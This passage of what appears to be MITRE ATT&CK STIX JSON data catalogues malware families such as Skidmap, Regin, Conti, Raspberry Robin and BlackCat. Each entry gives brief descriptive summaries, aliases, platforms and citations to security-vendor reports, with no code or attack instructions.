2015.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/"}],"modified":"2020-03-30T16:48:12.607Z","name":"Hacking Team UEFI Rootkit","description":"[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:06:31.222Z","name":"Skidmap","description":"[Skidmap](https://attack.mitre.org/software/S0468) is a kernel-mode rootkit used for cryptocurrency mining.(Citation: Trend Micro Skidmap)","x_mitre_platforms":["Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Skidmap"],"type":"malware","id":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","created":"2020-06-09T21:23:38.995Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0468","external_id":"S0468"},{"source_name":"Trend Micro Skidmap","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ESET"],"x_mitre_aliases":["Okrum"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","type":"malware","created":"2020-05-06T21:12:31.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0439","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0439"},{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-14T21:17:53.756Z","name":"Okrum","description":"[Okrum](https://attack.mitre.org/software/S0439) is a Windows backdoor that has been seen in use since December 2016 with strong links to [Ke3chang](https://attack.mitre.org/groups/G0004).(Citation: ESET Okrum July 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-01T02:47:21.211Z","name":"Regin","description":"[Regin](https://attack.mitre.org/software/S0019) is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some [Regin](https://attack.mitre.org/software/S0019) timestamps date back to 2003. (Citation: Kaspersky Regin)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Regin"],"type":"malware","id":"malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0","created":"2017-05-31T21:32:17.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0019","external_id":"S0019"},{"source_name":"Kaspersky Regin","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Bonadan"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328","type":"malware","created":"2020-07-16T14:59:40.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0486","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0486"},{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-08-10T19:17:14.766Z","name":"Bonadan","description":"[Bonadan](https://attack.mitre.org/software/S0486) is a malicious version of OpenSSH which acts as a custom backdoor. [Bonadan](https://attack.mitre.org/software/S0486) has been active since at least 2018 and combines a new cryptocurrency-mining module with the same credential-stealing module used by the Onderon family of backdoors.(Citation: ESET ForSSHe December 2018)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:09:42.414Z","name":"SamSam","description":"[SamSam](https://attack.mitre.org/software/S0370) is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.(Citation: US-CERT SamSam 2018)(Citation: Talos SamSam Jan 2018)(Citation: Sophos SamSam Apr 2018)(Citation: Symantec SamSam Oct 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["SamSam","Samas"],"type":"malware","id":"malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62","created":"2019-04-15T19:40:07.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0370","external_id":"S0370"},{"source_name":"Sophos SamSam Apr 2018","description":" Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.","url":"https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf"},{"source_name":"Samas","description":"(Citation: US-CERT SamSam 2018)"},{"source_name":"Symantec SamSam Oct 2018","description":"Symantec Security Response Attack Investigation Team. (2018, October 30). SamSam: Targeted Ransomware Attacks Continue. Retrieved April 16, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/samsam-targeted-ransomware-attacks"},{"source_name":"US-CERT SamSam 2018","description":"US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.","url":"https://www.us-cert.gov/ncas/alerts/AA18-337A"},{"source_name":"Talos SamSam Jan 2018","description":"Ventura, V. (2018, January 22). SamSam - The Evolution Continues Netting Over $325,000 in 4 Weeks. Retrieved April 16, 2019.","url":"https://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Neoichor"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--4d7bf2ac-f953-4907-b114-be44dc174d67","created":"2022-03-22T17:22:38.233Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0691","url":"https://attack.mitre.org/software/S0691"},{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Neoichor](https://attack.mitre.org/software/S0691) is C2 malware used by [Ke3chang](https://attack.mitre.org/groups/G0004) since at least 2019; similar malware families used by the group include Leeson and Numbldea.(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-11T19:34:18.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Neoichor","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-09T18:13:14.416Z","name":"Conti","description":"[Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service (RaaS) that was first observed in December 2019. [Conti](https://attack.mitre.org/software/S0575) has been deployed via [TrickBot](https://attack.mitre.org/software/S0266) and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.2","x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["Conti"],"type":"malware","id":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","created":"2021-02-17T18:51:57.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0575","external_id":"S0575"},{"source_name":"Conti","description":"(Citation: CarbonBlack Conti July 2020)(Citation: Cybereason Conti Jan 2021)"},{"source_name":"CarbonBlack Conti July 2020","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021.","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/"},{"source_name":"Cybleinc Conti January 2020","description":"Cybleinc. (2021, January 21). Conti Ransomware Resurfaces, Targeting Government & Large Organizations. Retrieved April 13, 2021.","url":"https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/"},{"source_name":"Cybereason Conti Jan 2021","description":"Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021.","url":"https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-07-23T18:47:58.066Z","name":"Raspberry Robin","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) is initial access malware first identified in September 2021, and active through early 2024. The malware is notable for spreading via infected USB devices containing a malicious LNK object that, on execution, retrieves remote hosted payloads for installation. [Raspberry Robin](https://attack.mitre.org/software/S1130) has been widely used against various industries and geographies, and as a precursor to information stealer, ransomware, and other payloads such as [SocGholish](https://attack.mitre.org/software/S1124), [Cobalt Strike](https://attack.mitre.org/software/S0154), [IcedID](https://attack.mitre.org/software/S0483), and [Bumblebee](https://attack.mitre.org/software/S1039).(Citation: TrendMicro RaspberryRobin 2022)(Citation: RedCanary RaspberryRobin 2022)(Citation: HP RaspberryRobin 2024) The DLL componenet in the [Raspberry Robin](https://attack.mitre.org/software/S1130) infection chain is also referred to as \"Roshtyak.\"(Citation: Avast RaspberryRobin 2022) The name \"Raspberry Robin\" is used to refer to both the malware as well as the threat actor associated with its use, although the Raspberry Robin operators are also tracked as Storm-0856 by some vendors.(Citation: Microsoft RaspberryRobin 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Swachchhanda Shrawan Poudel"],"x_mitre_aliases":["Raspberry Robin"],"type":"malware","id":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","created":"2024-05-17T13:11:28.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1130","external_id":"S1130"},{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"},{"source_name":"Avast RaspberryRobin 2022","description":"Jan Vojtěšek. (2022, September 22). Raspberry Robin’s Roshtyak: A Little Lesson in Trickery. Retrieved May 17, 2024.","url":"https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/"},{"source_name":"RedCanary RaspberryRobin 2022","description":"Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.","url":"https://redcanary.com/blog/threat-intelligence/raspberry-robin/"},{"source_name":"Microsoft RaspberryRobin 2022","description":"Microsoft Threat Intelligence. (2022, October 27). Raspberry Robin worm part of larger ecosystem facilitating pre-ransomware activity. Retrieved May 17, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/"},{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-18T14:15:33.229Z","name":"Mispadu","description":"[Mispadu](https://attack.mitre.org/software/S1122) is a banking trojan written in Delphi that was first observed in 2019 and uses a Malware-as-a-Service (MaaS) business model.(Citation: ESET Security Mispadu Facebook Ads 2019)(Citation: SCILabs Malteiro 2021) This malware is operated, managed, and sold by the [Malteiro](https://attack.mitre.org/groups/G1026) cybercriminal group.(Citation: SCILabs Malteiro 2021) [Mispadu](https://attack.mitre.org/software/S1122) has mainly been used to target victims in Brazil and Mexico, and has also had confirmed operations throughout Latin America and Europe.(Citation: SCILabs Malteiro 2021)(Citation: SCILabs URSA/Mispadu Evolution 2023)(Citation: Segurança Informática URSA Sophisticated Loader 2020) ","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["SCILabs"],"x_mitre_aliases":["Mispadu"],"type":"malware","id":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","created":"2024-03-13T20:59:22.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1122","external_id":"S1122"},{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"},{"source_name":"Segurança Informática URSA Sophisticated Loader 2020","description":"Pedro Tavares (Segurança Informática). (2020, September 15). Threat analysis: The emergent URSA trojan impacts many countries using a sophisticated loader. Retrieved March 13, 2024.","url":"https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"},{"source_name":"SCILabs URSA/Mispadu Evolution 2023","description":"SCILabs. (2023, May 23). Evolution of banking trojan URSA/Mispadu. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/evolution-of-banking-trojan-ursa-mispadu/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["RemoteCMD"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4e6b9625-bbda-4d96-a652-b3bb45453f26","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0166","external_id":"S0166"},{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2020-03-31T12:40:01.208Z","name":"RemoteCMD","description":"[RemoteCMD](https://attack.mitre.org/software/S0166) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to execute commands on a remote system similar to SysInternal's PSEXEC functionality. (Citation: Symantec Buckeye)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-12-04T20:15:22.258Z","name":"Diavol","description":"[Diavol](https://attack.mitre.org/software/S0659) is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. The [Diavol](https://attack.mitre.org/software/S0659) Ransomware-as-a Service (RaaS) program is managed by [Wizard Spider](https://attack.mitre.org/groups/G0102) and it has been observed being deployed by [Bazar](https://attack.mitre.org/software/S0534).(Citation: Fortinet Diavol July 2021)(Citation: FBI Flash Diavol January 2022)(Citation: DFIR Diavol Ransomware December 2021)(Citation: Microsoft Ransomware as a Service)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.0","x_mitre_contributors":["Massimiliano Romano, BT Security"],"x_mitre_aliases":["Diavol"],"type":"malware","id":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","created":"2021-11-12T19:02:16.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0659","external_id":"S0659"},{"source_name":"Diavol","description":"(Citation: Fortinet Diavol July 2021)"},{"source_name":"DFIR Diavol Ransomware December 2021","description":"DFIR Report. (2021, December 13). Diavol Ransomware. Retrieved March 9, 2022.","url":"https://thedfirreport.com/2021/12/13/diavol-ransomware/"},{"source_name":"FBI Flash Diavol January 2022","description":"FBI. (2022, January 19). Indicators of Compromise Associated with Diavol. Retrieved March 9, 2022.","url":"https://www.ic3.gov/Media/News/2022/220120.pdf"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"Fortinet Diavol July 2021","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021.","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:23:21.599Z","name":"Raindrop","description":"[Raindrop](https://attack.mitre.org/software/S0565) is a loader used by [APT29](https://attack.mitre.org/groups/G0016) that was discovered on some victim machines during investigations related to the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024). It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["Raindrop"],"type":"malware","id":"malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19","created":"2021-01-19T19:43:27.828Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0565","external_id":"S0565"},{"source_name":"Raindrop","description":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"},{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"},{"source_name":"Symantec RAINDROP January 2021","description":"Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_aliases":["Doki"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","type":"malware","created":"2021-04-06T15:53:34.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0600","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0600"},{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-19T17:45:07.102Z","name":"Doki","description":"[Doki](https://attack.mitre.org/software/S0600) is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020. [Doki](https://attack.mitre.org/software/S0600) was used in conjunction with the [ngrok](https://attack.mitre.org/software/S0508) Mining Botnet in a campaign that targeted Docker servers in cloud platforms. (Citation: Intezer Doki July 20)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["TEXTMATE","DNSMessenger"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47","created":"2017-05-31T21:33:25.209Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"S0146","url":"https://attack.mitre.org/software/S0146"},{"source_name":"TEXTMATE","description":"(Citation: FireEye FIN7 March 2017)"},{"source_name":"DNSMessenger","description":"Based on similar descriptions of functionality, it appears S0146, as named by FireEye, is the same as Stage 4 of a backdoor named DNSMessenger by Cisco's Talos Intelligence Group. However, FireEye appears to break DNSMessenger into two parts: S0145 and S0146. (Citation: Cisco DNSMessenger March 2017) (Citation: FireEye FIN7 March 2017)"},{"source_name":"Cisco DNSMessenger March 2017","url":"http://blog.talosintelligence.com/2017/03/dnsmessenger.html","description":"Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017."},{"source_name":"FireEye FIN7 March 2017","url":"https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html","description":"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TEXTMATE](https://attack.mitre.org/software/S0146) is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with [POWERSOURCE](https://attack.mitre.org/software/S0145) in February 2017. (Citation: FireEye FIN7 March 2017)","modified":"2022-07-20T20:06:44.708Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"TEXTMATE","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniel Prizmant, Palo Alto Networks","Yuval Avrahami, Palo Alto Networks"],"x_mitre_aliases":["Siloscape"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","type":"malware","created":"2021-06-18T15:26:55.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0623","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0623"},{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}],"modified":"2021-10-18T13:42:10.432Z","name":"Siloscape","description":"[Siloscape](https://attack.mitre.org/software/S0623) is malware that targets Kubernetes clusters through Windows containers. [Siloscape](https://attack.mitre.org/software/S0623) was first observed in March 2021.(Citation: Unit 42 Siloscape Jun 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-06-15T18:33:45.154Z","name":"BlackCat","description":"[BlackCat](https://attack.mitre.org/software/S1068) is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, [BlackCat](https://attack.mitre.org/software/S1068) has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.(Citation: Microsoft BlackCat Jun 2022)(Citation: Sophos BlackCat Jul 2022)(Citation: ACSC BlackCat Apr 2022)","x_mitre_platforms":["Linux","Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Hiroki Nagahama, NEC Corporation","Josh Arenas, Trustwave Spiderlabs","Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India"],"x_mitre_aliases":["BlackCat","ALPHV","Noberus"],"type":"malware","id":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","created":"2023-02-28T20:50:36.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1068","external_id":"S1068"},{"source_name":"Noberus","description":"(Citation: ACSC BlackCat Apr 2022)"},{"source_name":"ALPHV","description":"(Citation: Microsoft BlackCat Jun 2022)(Citation: ACSC BlackCat Apr 2022)"},{"source_name":"ACSC BlackCat Apr 2022","description":"Australian Cyber Security Centre. (2022, April 14). 2022-004: ACSC Ransomware Profile - ALPHV (aka BlackCat). Retrieved December 20, 2022.","url":"https://www.cyber.gov.au/about-us/advisories/2022-004-acsc-ransomware-profile-alphv-aka-blackcat"},{"source_name":"Sophos BlackCat Jul 2022","description":"Brandt, Andrew. (2022, July 14). BlackCat ransomware attacks not merely a byproduct of bad luck. Retrieved December 20, 2022.","url":"https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/"},{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 